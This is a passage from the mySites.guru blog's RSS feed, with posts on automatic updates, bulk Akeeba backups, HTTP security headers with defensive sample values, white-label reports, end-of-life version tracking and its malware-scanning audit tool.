&lt;p&gt;mySites.guru also cross-references your installed plugin versions against &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;known vulnerability databases&lt;/a&gt;. If an extension you haven&apos;t opted into auto-updates gets flagged as vulnerable, you&apos;ll see it on your dashboard. That&apos;s often a good prompt to either enable auto-updates for it going forward or push a manual update immediately. When critical vulnerabilities like the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework exploit (CVE-2026-21627)&lt;/a&gt; drop, sites with automatic updates enabled are patched before the public exploit hits GitHub.&lt;/p&gt;
&lt;p&gt;Auto-update the extensions you trust, and let vulnerability alerting watch everything else.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; to connect your first Joomla site and try automatic extension updates.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Learn more about update strategies in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>extensions</category><category>scheduling</category><enclosure url="https://mysites.guru/_astro/1.Cs59tFXf.webp" length="0" type="image/webp"/></item><item><title>Backup 1000s of Sites from One Dashboard</title><link>https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/</guid><description>Schedule and manage Akeeba Backup across thousands of Joomla and WordPress sites from a single mySites.guru dashboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;mySites.guru&lt;/a&gt; you can set and forget your backup &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule&lt;/a&gt; and let it handle running your backups and notifying you if there&apos;s a problem.&lt;/p&gt;
&lt;h2&gt;What makes a backup worth having?&lt;/h2&gt;
&lt;p&gt;There is only one kind of backup worth having: one that actually restores.&lt;/p&gt;
&lt;p&gt;mySites.guru uses &lt;a href=&quot;https://www.akeeba.com&quot;&gt;Akeeba Backup&lt;/a&gt; under the hood, the &lt;a href=&quot;https://www.akeeba.com&quot;&gt;best backup solution&lt;/a&gt; available for Joomla and WordPress, inside a &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;centralised dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Akeeba has been &lt;a href=&quot;https://www.akeeba.com/our-team.html&quot;&gt;around since 2006&lt;/a&gt;. Millions of downloads, &lt;a href=&quot;https://www.akeeba.com/our-team.html&quot;&gt;high praise in the Joomla Extensions Directory&lt;/a&gt;, &lt;a href=&quot;https://www.akeeba.com/our-team.html&quot;&gt;three J.O.S.C.A.R. awards&lt;/a&gt;. One goal: backup, restore and transfer your site in a snap. It supports WordPress too.&lt;/p&gt;
&lt;h2&gt;How does the mySites.guru backup scheduler work?&lt;/h2&gt;
&lt;p&gt;Scheduling backups across many sites has always been the annoying part of managing Akeeba. mySites.guru handles that as a &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;centralised scheduler&lt;/a&gt; for all your connected sites.&lt;/p&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;thousands of Joomla and WordPress sites in your dashboard&lt;/a&gt;, managing their Akeeba connections from one place just makes sense.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Connecting Akeeba to mySites.guru takes a single click. From there, pick the backup profile to run and set a schedule: daily, weekly, or monthly.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;backup overview dashboard&lt;/a&gt; shows each site&apos;s last backup date and status at a glance.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can disable schedules, adjust them, or start backups across all your sites with one click.&lt;/p&gt;
&lt;h2&gt;How do you backup 1000 sites with one click?&lt;/h2&gt;
&lt;p&gt;mySites.guru queues all the sites and processes the backups as fast as your servers can handle.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Where are your backups stored?&lt;/h2&gt;
&lt;p&gt;Wherever you tell Akeeba to store them.&lt;/p&gt;
&lt;p&gt;With &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Akeeba Backup&lt;/a&gt; profiles, you set the destination: Amazon S3, Dropbox, Azure, BackBlaze, Box.com, Rackspace, FTP, or your own server (though we don&apos;t recommend keeping them only on the server).&lt;/p&gt;
&lt;h2&gt;Are backups stored in mySites.guru?&lt;/h2&gt;
&lt;p&gt;No. Never. mySites.guru triggers and monitors your backups, but the files themselves live wherever you tell Akeeba to put them.&lt;/p&gt;
&lt;h2&gt;How do backup notifications work?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduler&lt;/a&gt; notifies you based on your preferences: when a backup starts, when it finishes, and always when something goes wrong. Your &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;bookkeeper or accountant&lt;/a&gt; is excluded from backup alerts by default, so operational noise never ends up in their inbox.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;WordPress users: All-In-One Migration Plugin support&lt;/h3&gt;
&lt;p&gt;WordPress users aren&apos;t limited to Akeeba. You can also use the All-In-One Migration Plugin for your backups. The same scheduling interface and &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features&lt;/a&gt; are available in mySites.guru for that plugin too.&lt;/p&gt;
&lt;p&gt;For guidance on fitting backups into a broader update and maintenance workflow, see the &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start your free trial&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; to see how mySites.guru handles backups across all your sites.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>backups</category><category>akeeba</category><category>joomla</category><category>wordpress</category><category>scheduling</category><enclosure url="https://mysites.guru/_astro/backup-1024x538.BZMK1m1C.webp" length="0" type="image/webp"/></item><item><title>Backup All Your Sites With One Click</title><link>https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/</guid><description>The one-click Backup All Sites button is back in mySites.guru, now with a per-site default backup profile to power the bulk backup queue.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;**Ok, I screwed up. I admit it and Im sorry. ** We recently introduced &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Unlimited Backup Schedules per site&lt;/a&gt; and in doing so introduced a logic bug that caused us to remove the &quot;Backup All Sites&quot; in one go feature.&lt;/p&gt;
&lt;p&gt;Lets talk about that - tl;dr; &lt;strong&gt;The Backup All Sites button has returned!!!&lt;/strong&gt; :-)&lt;/p&gt;
&lt;p&gt;One of the things we do well is respond fast - to emerging hack threats, security incidents, and requests from customers. We can deploy new features the same day, sometimes multiple times a day, with zero downtime.&lt;/p&gt;
&lt;p&gt;**This is one of those times. **&lt;/p&gt;
&lt;h2&gt;What caused the problem?&lt;/h2&gt;
&lt;p&gt;On implementing Unlimited Backup Schedules per site, we introduced a logic bug. This is caused because before that change, we stored a single Backup Profile per site.&lt;/p&gt;
&lt;p&gt;This meant that when you clicked the &quot;Backup all sites&quot; we knew which of the unlimited backup profiles to run on each site.&lt;/p&gt;
&lt;p&gt;When we introduced multiple schedules, you were then able to select a different backup profile per schedule, we no longer had a default profile per site, only a profile per schedule.&lt;/p&gt;
&lt;p&gt;This meant that we could not provide a &quot;backup all sites&quot; feature, as we did not know which profile to run for each site!&lt;/p&gt;
&lt;h2&gt;What was the solution?&lt;/h2&gt;
&lt;p&gt;The solution was pretty simple really, we reverted some code to allow us to re-implement the &quot;Backup All&quot; button on the Schedules tab of the &quot;Scheduled Backups&quot; page&lt;/p&gt;
&lt;p&gt;We then added new features to allow you to select a default backup profile per site. You can do this on the schedules page, or on the Settings Tab of Manage Site page.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can still filter your sites before pressing the new &lt;strong&gt;&quot;Start Backup Of All Sites Visible Below&quot;&lt;/strong&gt; button.&lt;/p&gt;
&lt;p&gt;Once you click the button you get a chance to back out ;-)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;one click of that blue button and we usher your request into our backup queue and process the backups as fast as we can - we will redirect you to see a list of your running backups where you can sit and watch them, or you can close your browser/browser elsewhere because the backups will continue regardless of your actions.&lt;/p&gt;
&lt;p&gt;Thanks to all those that told us how valuable this feature was, and tested the new implementation. We ♥️ you!&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>backups</category><category>joomla</category><category>wordpress</category><category>site management</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-16-1024x538.CWg4GFu4.webp" length="0" type="image/webp"/></item><item><title>Check your site&apos;s security headers</title><link>https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/</guid><description>mySites.guru checks eight HTTP security headers on every snapshot - CSP, HSTS, X-Frame-Options and more - to help you harden against XSS and clickjacking.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your web server can send a handful of HTTP response headers that make life harder for attackers. Spoofing, XSS, clickjacking: these headers won&apos;t stop everything, but they raise the bar. mySites.guru checks eight of them on every &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;, twice a day.&lt;/p&gt;
&lt;h2&gt;Which eight headers does mySites.guru check?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Content-Security-Policy&lt;/strong&gt; - controls which resources the browser is allowed to load&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expect-CT&lt;/strong&gt; - enforces Certificate Transparency requirements&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature-Policy&lt;/strong&gt; - flagged if present (this header is deprecated)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Permissions-Policy&lt;/strong&gt; - the replacement for Feature-Policy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Referrer-Policy&lt;/strong&gt; - controls how much referrer info is sent with requests&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Strict-Transport-Security&lt;/strong&gt; - forces HTTPS connections&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;X-Content-Type-Options&lt;/strong&gt; - prevents MIME-type sniffing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;X-Frame-Options&lt;/strong&gt; - protects against clickjacking&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Headers alone won&apos;t save you&lt;/p&gt;
  &lt;p&gt;Security headers are best practice, not a silver bullet. &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Learn about them&lt;/a&gt; and apply them where possible, but don&apos;t assume they make your site bulletproof.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What does each header actually do?&lt;/h2&gt;
&lt;h3&gt;Content-Security-Policy (CSP)&lt;/h3&gt;
&lt;p&gt;CSP tells the browser which domains are allowed to serve scripts, styles, images, and other resources on your page. Without it, an attacker who finds an XSS hole can inject a script from anywhere and the browser will run it without question.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Content-Security-Policy: default-src &apos;self&apos;; script-src &apos;self&apos; https://cdn.example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That says: only load resources from my own domain, only run scripts from my domain or my CDN, block everything else. Getting CSP right is fiddly. Too strict and you break your own site. Too loose and it&apos;s decoration. But even a basic policy beats having none.&lt;/p&gt;
&lt;h3&gt;Strict-Transport-Security (HSTS)&lt;/h3&gt;
&lt;p&gt;HSTS tells browsers to only connect over HTTPS, even if someone types &lt;code&gt;http://&lt;/code&gt; or clicks an old HTTP link. Without it, the very first request can be intercepted before the redirect to HTTPS kicks in.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;max-age&lt;/code&gt; is in seconds. 31536000 is one year. Once a browser sees this, it won&apos;t even try HTTP for that long. &lt;code&gt;includeSubDomains&lt;/code&gt; covers your subdomains too.&lt;/p&gt;
&lt;h3&gt;X-Frame-Options&lt;/h3&gt;
&lt;p&gt;X-Frame-Options prevents your site from being loaded inside an iframe on someone else&apos;s domain. Why care? Clickjacking. An attacker loads your site in a hidden iframe, overlays it with something innocent-looking, and tricks users into clicking buttons on your site without realising it - changing passwords, making purchases, whatever.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X-Frame-Options: SAMEORIGIN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;SAMEORIGIN&lt;/code&gt; means your own site can still iframe itself (useful for admin panels and previews) but nobody else can. &lt;code&gt;DENY&lt;/code&gt; blocks all framing, including from your own domain.&lt;/p&gt;
&lt;h3&gt;Content-Security-Policy vs X-Frame-Options&lt;/h3&gt;
&lt;p&gt;CSP has a &lt;code&gt;frame-ancestors&lt;/code&gt; directive that does the same job as X-Frame-Options, and it&apos;s more flexible. But older browsers don&apos;t support &lt;code&gt;frame-ancestors&lt;/code&gt;, so the recommendation is to set both. They don&apos;t conflict - browsers that understand CSP use &lt;code&gt;frame-ancestors&lt;/code&gt;, older ones fall back to X-Frame-Options.&lt;/p&gt;
&lt;h3&gt;X-Content-Type-Options&lt;/h3&gt;
&lt;p&gt;Browsers sometimes try to be clever and &quot;sniff&quot; the content type of a response instead of trusting the &lt;code&gt;Content-Type&lt;/code&gt; header. An attacker can exploit this by uploading a file that looks like an image but contains JavaScript - the browser sniffs it, decides it&apos;s a script, and executes it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X-Content-Type-Options: nosniff
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One value. Tells the browser to trust the declared content type and stop guessing. Just set it.&lt;/p&gt;
&lt;h3&gt;Referrer-Policy&lt;/h3&gt;
&lt;p&gt;When someone clicks a link from your site to another site, the browser sends a &lt;code&gt;Referer&lt;/code&gt; header (yes, the HTTP spec misspelled &quot;referrer&quot; in 1996 and we&apos;re stuck with it) telling the destination where the click came from. That can leak URL paths, query parameters, or session tokens you&apos;d rather keep private.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Referrer-Policy: strict-origin-when-cross-origin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;strict-origin-when-cross-origin&lt;/code&gt; sends just the origin (&lt;code&gt;https://yoursite.com&lt;/code&gt;) on cross-origin requests but strips the path. Same-origin navigations still get the full URL, so your own analytics aren&apos;t affected.&lt;/p&gt;
&lt;h3&gt;Permissions-Policy&lt;/h3&gt;
&lt;p&gt;Permissions-Policy controls which browser APIs your site can use: camera, microphone, geolocation, payment, autoplay, and plenty more. If you don&apos;t use the camera, disable it. If someone manages to inject code into your page, they still can&apos;t turn on the webcam.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Permissions-Policy: camera=(), microphone=(), geolocation=()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Empty parentheses &lt;code&gt;()&lt;/code&gt; means &quot;nobody, not even this page.&quot; You can also allow specific origins if you need them.&lt;/p&gt;
&lt;p&gt;This header replaced the older Feature-Policy header. If your site still sends Feature-Policy, mySites.guru will flag it - you should switch to Permissions-Policy instead.&lt;/p&gt;
&lt;h3&gt;Expect-CT&lt;/h3&gt;
&lt;p&gt;Expect-CT was supposed to ensure that certificates for your domain show up in Certificate Transparency logs, catching misissued or rogue certs.&lt;/p&gt;
&lt;p&gt;Browsers have made this header redundant. Chrome dropped Expect-CT support entirely, and other browsers enforce Certificate Transparency by default now. mySites.guru still checks for it, but this one&apos;s a footnote. Focus on the other seven.&lt;/p&gt;
&lt;h2&gt;How do you check your headers without an account?&lt;/h2&gt;
&lt;p&gt;If you want a quick standalone check, &lt;a href=&quot;https://securityheaders.com&quot;&gt;securityheaders.com&lt;/a&gt; is a good tool. We link to it throughout the mySites.guru snapshot checks too.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://securityheaders.com&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Headers are one layer of defence. For file-level detection of existing compromises, the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; scans your entire webspace for malware, backdoors, and suspicious code patterns. Headers are one of over 140 things mySites.guru checks on each site, from &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;file-level security audits&lt;/a&gt; to PHP config to SSL certificates. All visible from your &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Security headers are covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;full agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security headers</category><category>security</category><category>snapshot</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-13-1024x538.TbklMHsm.webp" length="0" type="image/webp"/></item><item><title>White-Label Client Reports for Your Sites</title><link>https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/</guid><description>Build unlimited branded report templates in mySites.guru. Assign them to scheduled reports and send white-label updates directly to clients.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&apos;ve just launched the &lt;strong&gt;Custom Report Designer&lt;/strong&gt; for the &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;white-label reporting tool&lt;/a&gt; in mySites.guru.&lt;/p&gt;
&lt;p&gt;This feature allows you to create &lt;strong&gt;UNLIMITED&lt;/strong&gt; (unlimited, as is everything in mySites.guru) custom templates for your reports, which can then be assigned to your scheduled (and manually run) report configurations.&lt;/p&gt;
&lt;p&gt;You can use this feature to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a custom layout, with your own logo, fonts, styles, colours&lt;/li&gt;
&lt;li&gt;Move around the sections in the reports&lt;/li&gt;
&lt;li&gt;Remove or add sections&lt;/li&gt;
&lt;li&gt;Create one layout and reuse it on multiple reports&lt;/li&gt;
&lt;li&gt;Centrally manage all your custom templates for reports&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Our reports are all HTML. You know HTML. The world knows HTML. &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;There are good reasons&lt;/a&gt; we chose HTML over PDF, doing so gives you COMPLETE CONTROL, using tools you know, over the look and feel!&lt;/p&gt;
&lt;p&gt;This gives you the ability to brand the reports to your own brand. Combined with &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt;, you can deliver a fully white-labelled experience to clients.&lt;/p&gt;
&lt;h2&gt;What if I already had customised templates?&lt;/h2&gt;
&lt;p&gt;Dont panic! We migrated your custom templates into the new Custom Report Designer, and reassigned those back to your report configs.&lt;/p&gt;
&lt;p&gt;You can find them your customised templates on the &lt;a href=&quot;https://manage.mysites.guru/en/reports/designer/&quot;&gt;Custom Report Designer&lt;/a&gt; page in your account.&lt;/p&gt;
&lt;h3&gt;BONUS: You can even send the emails from YOUR email address, so when they arrive at your clients, there is no mention of mySites.guru (or phil@phil-taylor.com!)&lt;/h3&gt;
&lt;p&gt;Thats right, just set your DNS correctly to ensure deliverability (we walk you through that) and then you are all set!&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Client reporting is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>reports</category><category>white-label</category><category>agency tools</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/4k-images-9-1024x576.CJscwv85.webp" length="0" type="image/webp"/></item><item><title>End-of-Life Version Support in mySites.guru</title><link>https://mysites.guru/blog/end-of-life-supported-versions/</link><guid isPermaLink="true">https://mysites.guru/blog/end-of-life-supported-versions/</guid><description>mySites.guru monitors end-of-life Joomla and WordPress versions from 1.5 to 6, alerting you when sites run unsupported software that puts them at risk.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In a perfect world, every site would run the latest version of Joomla or WordPress. In practice, plenty of sites are stuck on old releases. Sometimes very old ones. mySites.guru was built with that in mind.&lt;/p&gt;
&lt;h2&gt;Joomla Support Goes Back to 1.5.0&lt;/h2&gt;
&lt;p&gt;Most management services only work with recent Joomla releases. mySites.guru connects to every version from Joomla 1.5.0 onwards. The full 1.5, 2.x, &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;3.x&lt;/a&gt;, 4, 5, and 6 series, all with a single plugin.&lt;/p&gt;
&lt;p&gt;Joomla 1.5.0 was released in January 2008. The final 1.5.x release (1.5.26) came out in 2012. To support versions that old, our plugin has to stay compatible with PHP 5.3.9+. That took real work to get right.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Running old versions is a risk&lt;/p&gt;
  &lt;p&gt;We support old Joomla versions so you can manage and migrate them, not so you can leave them sitting there. PHP 5.3 is long past end-of-life and has known security vulnerabilities. You need to see what you&apos;re dealing with before you can fix it.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you still have Joomla 3 sites, mySites.guru has a tool to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;fix known Joomla 3 security issues with a single click&lt;/a&gt;. Worth running on anything that hasn&apos;t been migrated to Joomla 4+ yet.&lt;/p&gt;
&lt;h2&gt;WordPress Version Tracking Across Your Portfolio&lt;/h2&gt;
&lt;p&gt;mySites.guru tracks WordPress version support too and flags sites that fall behind. WordPress has had automatic updates for years, so there are fewer ancient installations compared to Joomla. But outdated WordPress sites absolutely still exist, and they get targeted. Version bumps like &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;WordPress 7.0 &quot;Armstrong&quot;&lt;/a&gt; (released 20 May 2026, dropping PHP 7.2/7.3 entirely) can leave sites stranded on old branches if you&apos;re not tracking PHP versions across your portfolio.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why Should You Upgrade Immediately After a Release?&lt;/h2&gt;
&lt;p&gt;Every Joomla or WordPress release includes notes about the security issues it fixes. Once that information is public, attackers start probing sites that haven&apos;t updated yet. The common advice to &quot;wait a few days to see if anything breaks&quot; is exactly backwards. Those first few days after a release are when your site is most exposed. The &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1 release on 26 May 2026&lt;/a&gt; is a good recent example - ten CVEs published in one go, including a High-severity com_users privilege escalation that has existed since Joomla 4.0.0.&lt;/p&gt;
&lt;p&gt;PHP has its own end-of-life clock, separate from your CMS, and it runs on a different schedule: two years of active support, two more years of security fixes, then nothing. &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;How PHP branches and patch levels are tracked&lt;/a&gt; covers which versions are still supported and why a higher version number is not always the newer release.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Keep everything up to date&lt;/a&gt; across all your sites, run regular &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;security audits&lt;/a&gt;, and let mySites.guru tell you when something falls behind.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Version lifecycle management is covered in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>end-of-life</category><category>security</category><category>site management</category><enclosure url="https://mysites.guru/_astro/endoflife.Dq7nyRPY.webp" length="0" type="image/webp"/></item><item><title>Find Hacks and Backdoors in WordPress &amp; Joomla</title><link>https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/</link><guid isPermaLink="true">https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/</guid><description>Scan your WordPress and Joomla sites for malware, backdoors, and suspicious files. Hash-based detection and 1,500+ regex patterns.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; &lt;strong&gt;suspect content tool&lt;/strong&gt; scans every file in your webspace for malware, backdoors, and suspicious code - without exception. It&apos;s the most-used tool in the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit suite&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you already know your &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress site has been hacked&lt;/a&gt; or your &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site has been hacked&lt;/a&gt;, skip straight to our step-by-step recovery guides. Not sure if you&apos;ve been hacked? Read &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;how to tell if your WordPress site is compromised&lt;/a&gt; first. Or if you just want to scan your files, our &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; can check and tell you what&apos;s there.&lt;/p&gt;
&lt;p&gt;The average number of files across the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;90,000+ sites connected to mySites.guru&lt;/a&gt; is just under 20,000. The suspect content tool narrows that down to a handful of files worth looking at.&lt;/p&gt;
&lt;h2&gt;How the mySites.guru audit gathers data&lt;/h2&gt;
&lt;p&gt;The process starts with a mySites.guru audit. This gathers information on every file in your webspace without exceptions. The audit runs in the background - start it and come back later.&lt;/p&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule audits&lt;/a&gt; to run on any frequency, or trigger them on demand. At the start of every audit, we also run the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; tools, which add over 100 quick checks on top of the full file scan.&lt;/p&gt;
&lt;p&gt;The audit compiles a complete list of every folder in your webspace, then lists every file in those folders.&lt;/p&gt;
&lt;p&gt;For each file, the audit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Checks whether it belongs to the Joomla or WordPress core&lt;/li&gt;
&lt;li&gt;If it&apos;s a core file, verifies it hasn&apos;t been modified since release and diffs it against the original&lt;/li&gt;
&lt;li&gt;Saves the md5 hash for future comparisons&lt;/li&gt;
&lt;li&gt;Scans every line against roughly 1,500 known hack patterns, labelling matches as &quot;suspect&quot;&lt;/li&gt;
&lt;li&gt;Checks the full file hash against a database of 14,000+ confirmed hacked file hashes - no false positives, each hash is manually validated&lt;/li&gt;
&lt;li&gt;Examines file metadata including creation and modification dates, plus EXIF data on images (a common hiding place)&lt;/li&gt;
&lt;li&gt;Identifies encrypted files, PHP error logs, archives, files over 2MB, zero-byte files, and other anomalous classifications (learn why &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;archive files and SQL dumps are security risks&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When the audit finishes, you get a notification to log in and review the results. The screenshot below shows the first three sections of the audit tab.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Every line in every file&lt;/h2&gt;
